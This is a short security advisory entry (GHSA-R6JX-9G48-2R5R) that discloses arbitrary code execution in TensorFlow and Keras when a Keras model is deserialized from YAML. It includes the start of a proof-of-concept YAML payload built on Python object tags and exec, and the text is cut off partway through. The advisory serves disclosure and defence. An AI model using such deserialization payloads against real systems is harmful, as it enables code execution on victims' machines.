GHSA-R6JX-9G48-2R5R Arbitrary code execution due to YAML deserialization

Impact TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format. python from tensorflow.keras import models payload = ''' !!python/object/new:type args: 'z', !!python/tuple , 'extend': !!python/name:exec listitems:...